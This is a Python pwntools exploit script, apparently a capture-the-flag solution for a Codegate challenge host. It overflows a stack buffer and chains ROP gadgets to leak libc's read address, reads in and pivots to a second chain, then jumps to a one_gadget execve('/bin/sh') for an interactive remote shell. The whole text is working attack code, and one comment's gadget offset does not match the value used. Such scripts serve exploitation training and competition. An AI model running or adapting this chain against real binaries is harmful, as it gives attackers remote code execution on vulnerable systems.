#!/usr/bin/env python

from pwn import *
import struct

def leak_addr(addr):
    code = p64(0x40087a)    # pop rdi; pop rsi; pop rdx; ret;
    code += p64(0x1)        # stdout
    code += p64(addr)       # address
    code += p64(8)          # print 8 bytes
    code += p64(0x4006d0)   # jmp to write

    return code

def read_buf(addr):
    code = p64(0x40087a)    # pop rdi; pop rsi; pop rdx; ret;
    code += p64(0x0)        # stdin
    code += p64(addr)       # buffer's address
    code += p64(0x64)       # read 0x64 bytes
    code += p64(0x400700)   # jmp to read

    return code

def pivot_stack_ptr(addr):
    data = p64(0x400bbd)    # pop rsp; pop r13; pop r14; pop r15; ret;
    data += p64(addr)       # new stack ptr address

    return data

p = remote('ch41l3ng3s.codegate.kr', 3131)

rop = '1' * 184

rop += leak_addr(0x602040)          # leak read's addr

rop += read_buf(0x602100)           # read new rop chain

rop += pivot_stack_ptr(0x602100)    # set rsp to new rop chain buffer

p.sendline(rop)

print p.recvuntil('...:( \n')

read_addr = struct.unpack('Q', p.recv(8))[0]

print 'read: {}'.format(hex(read_addr))

'''
Based on libc-database (https://github.com/niklasb/libc-database)
Libc version is: ubuntu-xenial-amd64-libc6 (id libc6_2.23-0ubuntu10_amd64)
'''

read_offset = 0xf7250

libc_base = read_addr - read_offset

print 'Libc Base: {}'.format(hex(libc_base))

'''
One Gadget

0x47c9a execve("/bin/sh", rsp+0x30, environ)
constraints:
      [rsp+0x30] == NULL
'''

one_gadget_rce = 0x4526a

rop = p64(0) * 3                         # garbage value for r13, r14, and r15
rop += p64(libc_base + one_gadget_rce)   # execve
rop += p64(0) * 10                       # solving the constraints [rsp+0x30] == NULL

p.sendline(rop)

p.interactive()

